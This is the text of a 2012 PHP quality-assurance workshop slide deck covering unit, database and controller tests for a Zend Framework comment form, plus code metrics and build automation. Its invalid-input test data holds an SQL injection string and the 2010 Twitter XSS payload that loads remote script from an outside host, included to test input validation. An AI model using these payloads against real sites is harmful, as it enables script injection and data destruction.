Slide 1

Slide 1 text

Quality Assurance for PHP projects PFZ Workshop, Tilburg 2012

Slide 2

Slide 2 text

Michelangelo van Dam

Slide 3

Slide 3 text

Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!

Slide 4

Slide 4 text

#pfz12wsqa

Slide 5

Slide 5 text

Introduction to QA

Slide 6

Slide 6 text

Why QA?

Slide 7

Slide 7 text

Why QA Safeguarding code

Slide 8

Slide 8 text

Detect bugs early

Slide 9

Slide 9 text

Observe behavior

Slide 10

Slide 10 text

Prevent accidents from happening

Slide 11

Slide 11 text

Tracking progress

Slide 12

Slide 12 text

Why invest in QA?

Slide 13

Slide 13 text

Keeps your code in shape

Slide 14

Slide 14 text

Measures speed and performance

Slide 15

Slide 15 text

Boosts team spirit

Slide 16

Slide 16 text

Saves time

Slide 17

Slide 17 text

Reports continuously

Slide 18

Slide 18 text

Delivers ready to deploy packages

Slide 19

Slide 19 text

Quality Assurance Tools

Slide 20

Slide 20 text

Revision Control

Slide 21

Slide 21 text

Subversion

Slide 22

Slide 22 text

GIT

Slide 23

Slide 23 text

github

Slide 24

Slide 24 text

Mercurial

Slide 25

Slide 25 text

Bazaar

Slide 26

Slide 26 text

Advantages of SCM • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools TIP:  hooks  for  tools

Slide 27

Slide 27 text

Syntax Checking

Slide 28

Slide 28 text

php  -­‐l  (lint) h@p://www.php.net/manual/en/features.commandline.opFons.php

Slide 29

Slide 29 text

PHP Lint • checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files • can provide reports - but if something fails -> the build fails TIP:  pre-­‐commit  hook

Slide 30

Slide 30 text

Syntax php -lf /path/to/filename.php

Slide 31

Slide 31 text

PHP  Lint  on  Command  Line

Slide 32

Slide 32 text

SVN Pre commit hook #!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit REPOS="$1" TXN="$2" # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done

Slide 33

Slide 33 text

SVN  pre-­‐commit  hook

Slide 34

Slide 34 text

Documenting

Slide 35

Slide 35 text

Why documenting? • new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)

Slide 36

Slide 36 text

PHPDoc2 phpDocumentor + DocBlox March 16, 2012

Slide 37

Slide 37 text

Phpdoc2

Slide 38

Slide 38 text

Phpdoc2  class  details

Slide 39

Slide 39 text

Phpdoc2  class  relaFon  chart

Slide 40

Slide 40 text

Phpdoc2  on  your  project

Slide 41

Slide 41 text

Testing

Slide 42

Slide 42 text

Any reasons not to test?

Slide 43

Slide 43 text

Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery • …

Slide 44

Slide 44 text

NO EXCUSES!

Slide 45

Slide 45 text

The cost of bugs 0 25 50 75 100 Start Milestone1 Milestone2 Milestone3 Bugs Project Costs

Slide 46

Slide 46 text

The cost of bugs 0 25 50 75 100 Start Milestone1 Milestone2 Milestone3 Bugs Project Costs Unittests

Slide 47

Slide 47 text

Maintainability • during development - test will fail indicating bugs • after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy

Slide 48

Slide 48 text

Remember “Once a test is made, it will always be tested!”

Slide 49

Slide 49 text

No content

Slide 50

Slide 50 text

Confidence • for the developer - code works • for the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want

Slide 51

Slide 51 text

No content

Slide 52

Slide 52 text

Unit testing ZF apps

Slide 53

Slide 53 text

Setting things up

Slide 54

Slide 54 text

phpunit.xml ./ ../application/ ../library/Mylib/ ../application/

Slide 55

Slide 55 text

TestHelper.php bootstrap();

Slide 56

Slide 56 text

Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler

Slide 57

Slide 57 text

Let’s get started…

Slide 58

Slide 58 text

Testing Zend_Form

Slide 59

Slide 59 text

CommentForm Name: E-mail Address: Website: Comment: Post

Slide 60

Slide 60 text

Start with the test _form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }

Slide 61

Slide 61 text

The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }

Slide 62

Slide 62 text

Protection! Protection

Slide 63

Slide 63 text

Little Bobby Tables http://xkcd.com/327/

Slide 64

Slide 64 text

Twitter Hack http://xkcd.com/327/ http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

Slide 65

Slide 65 text

The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover= \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }

Slide 66

Slide 66 text

Create the form class

Slide 67

Slide 67 text

Let’s run the test

Slide 68

Slide 68 text

Let’s put in our elements addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }

Slide 69

Slide 69 text

Less errors?

Slide 70

Slide 70 text

Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));

Slide 71

Slide 71 text

Green, warm & fuzzy

Slide 72

Slide 72 text

You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable

Slide 73

Slide 73 text

Testing models

Slide 74

Slide 74 text

Testing business logic • models contain logic - tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution

Slide 75

Slide 75 text

Type: data containers • contains structured data - populated through setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models

Slide 76

Slide 76 text

Comment Class

Slide 77

Slide 77 text

Writing model test _comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }

Slide 78

Slide 78 text

This test won’t run!

Slide 79

Slide 79 text

Create a simple model _id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }

Slide 80

Slide 80 text

We pass the test…

Slide 81

Slide 81 text

Really ???

Slide 82

Slide 82 text

Not all data from form! • model can be populated from - users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form

Slide 83

Slide 83 text

The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }

Slide 84

Slide 84 text

The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px; \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }

Slide 85

Slide 85 text

Let’s run it

Slide 86

Slide 86 text

Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }

Slide 87

Slide 87 text

Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }

Slide 88

Slide 88 text

Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }

Slide 89

Slide 89 text

and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }

Slide 90

Slide 90 text

Now we’re good!

Slide 91

Slide 91 text

Testing Databases

Slide 92

Slide 92 text

Integration Testing • database specific functionality - triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback

Slide 93

Slide 93 text

Points of concern • beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time

Slide 94

Slide 94 text

The domain Model • Model object • Mapper object • Table gateway object Read more about it ‛

Slide 95

Slide 95 text

Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Slide 96

Slide 96 text

Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }

Slide 97

Slide 97 text

initialDataSet.xml

Slide 98

Slide 98 text

Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }

Slide 99

Slide 99 text

selectDataSet.xml

Slide 100

Slide 100 text

Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }

Slide 101

Slide 101 text

updateDataSet.xml

Slide 102

Slide 102 text

Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }

Slide 103

Slide 103 text

deleteDataSet.xml

Slide 104

Slide 104 text

Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }

Slide 105

Slide 105 text

insertDataSet.xml

Slide 106

Slide 106 text

Run Test

Slide 107

Slide 107 text

What went wrong here?

Slide 108

Slide 108 text

AUTO_INCREMENT

Slide 109

Slide 109 text

Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }

Slide 110

Slide 110 text

insertDataSet.xml

Slide 111

Slide 111 text

Run Test

Slide 112

Slide 112 text

Testing web services

Slide 113

Slide 113 text

Web services remarks • you need to comply with an API - that will be your reference • you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues

Slide 114

Slide 114 text

Example: joind.in

Slide 115

Slide 115 text

http://joind.in/api

Slide 116

Slide 116 text

JoindinTest _joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

Slide 117

Slide 117 text

JoindinTest public function testJoindinCanGetUserDetails() { $expected = 'DragonBeMichelangelo van Dam191303248639'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '
' . $date->format('r') . '
testing unit test'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Slide 118

Slide 118 text

Testing the service

Slide 119

Slide 119 text

Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ 19 - 1303248639 + 1303250271 I recently logged in ✔

Slide 120

Slide 120 text

And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ -
Tue, 19 Apr 2011 22:26:40 +0000
+
Tue, 19 Apr 2011 22:26:41 +0000
testing unit test Latency of the network 1s ☹

Slide 121

Slide 121 text

Solution… right here!

Slide 122

Slide 122 text

Your expectations

Slide 123

Slide 123 text

JoindinTest _joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

Slide 124

Slide 124 text

JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = << DragonBe Michelangelo van Dam 19 1303248639 EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = 'DragonBeMichelangelo van Dam191303248639'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Slide 125

Slide 125 text

JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<
{$date->format('r')}
testing unit test EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '
' . $date->format('r') . '
testing unit test'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Slide 126

Slide 126 text

Good implementation?

Slide 127

Slide 127 text

Controller Testing

Slide 128

Slide 128 text

Our form flow

Slide 129

Slide 129 text

Setting up ControllerTest bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }

Slide 130

Slide 130 text

Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }

Slide 131

Slide 131 text

Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }

Slide 132

Slide 132 text

REMARK • data providers can be used - to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form

Slide 133

Slide 133 text

Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }

Slide 134

Slide 134 text

Running the tests

Slide 135

Slide 135 text

Testing it all

Slide 136

Slide 136 text

Testing it all

Slide 137

Slide 137 text

Our progress report

Slide 138

Slide 138 text

Conclusion

Slide 139

Slide 139 text

• unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote

Slide 140

Slide 140 text

Fork this code http://github.com/DragonBe/zftest

Slide 141

Slide 141 text

Measuring

Slide 142

Slide 142 text

Code Analysis

Slide 143

Slide 143 text

Questions • how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?

Slide 144

Slide 144 text

Answers • PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer

Slide 145

Slide 145 text

PHP Depend

Slide 146

Slide 146 text

What? • generates metrics • measure health • identify parts to improve (refactor)

Slide 147

Slide 147 text

pdepend pyramid

Slide 148

Slide 148 text

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

Slide 149

Slide 149 text

Cyclomatic Complexity • metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, … • within a single method or function • more info - http://en.wikipedia.org/wiki/ Cyclomatic_complexity

Slide 150

Slide 150 text

Average Hierarchy Height The average of the maximum length from a root class to its deepest subclass

Slide 151

Slide 151 text

pdepend pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes

Slide 152

Slide 152 text

pdepend pyramid Size and complexity

Slide 153

Slide 153 text

pdepend pyramid Coupling

Slide 154

Slide 154 text

pdepend pyramid High value

Slide 155

Slide 155 text

pdepend-graph graph  about  stability:  a  mix  between  abstract  and  concrete  classes

Slide 156

Slide 156 text

No content

Slide 157

Slide 157 text

No content

Slide 158

Slide 158 text

PHP  Depend

Slide 159

Slide 159 text

PHP Mess Detection

Slide 160

Slide 160 text

What? • detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties

Slide 161

Slide 161 text

PHPMD  in  acFon

Slide 162

Slide 162 text

PHP Copy/Paste Detection

Slide 163

Slide 163 text

What? • detects similar code snippets - plain copy/paste work - similar code routines • indicates problems - maintenance hell - downward spiral of disasters • stimulates improvements - refactoring of code - moving similar code snippets in common routines

Slide 164

Slide 164 text

PHP CodeSniffer

Slide 165

Slide 165 text

Required evil • validates coding standards - consistency - readability • set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code • can be set as pre-commit hook - but can cause frustration!!!

Slide 166

Slide 166 text

Performance Analysis

Slide 167

Slide 167 text

https://twitter.com/#!/andriesss/status/189712045766225920

Slide 168

Slide 168 text

Automating

Slide 169

Slide 169 text

Key reason “computers are great at doing repetitive tasks very well”

Slide 170

Slide 170 text

Repetition • syntax checking • documenting • testing • measuring

Slide 171

Slide 171 text

No content

Slide 172

Slide 172 text

Why Phing? • php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation

Slide 173

Slide 173 text

Structure of a build

Slide 174

Slide 174 text

Structure of a build

Slide 175

Slide 175 text

Structure of a build

Slide 176

Slide 176 text

Structure of a build

Slide 177

Slide 177 text

Structure of a build

Slide 178

Slide 178 text

Structure of a build

Slide 179

Slide 179 text

build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle # AB Testing properties abrequests=1000 abconcurrency=10

Slide 180

Slide 180 text

local.properties project.website=http://qademo.local abrequests=1000 abconcurrency=10 db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

Slide 181

Slide 181 text

Let’s  run  it

Slide 182

Slide 182 text

Artifacts • some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run

Slide 183

Slide 183 text

Prepare for artifacts

Slide 184

Slide 184 text

phpdoc2

Slide 185

Slide 185 text

PHPUnit

Slide 186

Slide 186 text

PHP_CodeSniffer

Slide 187

Slide 187 text

Copy Paste Detection

Slide 188

Slide 188 text

PHP Mess Detection

Slide 189

Slide 189 text

PHP Depend

Slide 190

Slide 190 text

PHP CodeBrowser

Slide 191

Slide 191 text

Create a build procedure

Slide 192

Slide 192 text

Other things to automate • server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync • execute remote commands with SSH • … so much more

Slide 193

Slide 193 text

Example DBDeploy

Slide 194

Slide 194 text

Build  it

Slide 195

Slide 195 text

Continuous Integration

Slide 196

Slide 196 text

No content

Slide 197

Slide 197 text

No content

Slide 198

Slide 198 text

No content

Slide 199

Slide 199 text

No content

Slide 200

Slide 200 text

No content

Slide 201

Slide 201 text

No content

Slide 202

Slide 202 text

No content

Slide 203

Slide 203 text

No content

Slide 204

Slide 204 text

Now you are a winner!

Slide 205

Slide 205 text

Team Works!

Slide 206

Slide 206 text

No content

Slide 207

Slide 207 text

No content

Slide 208

Slide 208 text

No content

Slide 209

Slide 209 text

No content

Slide 210

Slide 210 text

No content

Slide 211

Slide 211 text

Conclusion

Slide 212

Slide 212 text

Get your information in a consistent, automated way and make it accessible for the team More people can better safeguard the code!

Slide 213

Slide 213 text

Recommended  reading • the  PHP  QA  book -­‐ SebasFan  Bergmann -­‐ Stefan  Priebsch

Slide 214

Slide 214 text

Recommended  reading • OOD  Quality  Metrics -­‐ Robert  Cecil  MarFn Free h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf

Slide 215

Slide 215 text

Feedback/Questions Michelangelo van Dam [email protected] @DragonBe

Slide 216

Slide 216 text

Thank you

Slide 217

Slide 217 text

http://joind.in/6365

Slide 218

Slide 218 text

Credits I’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: 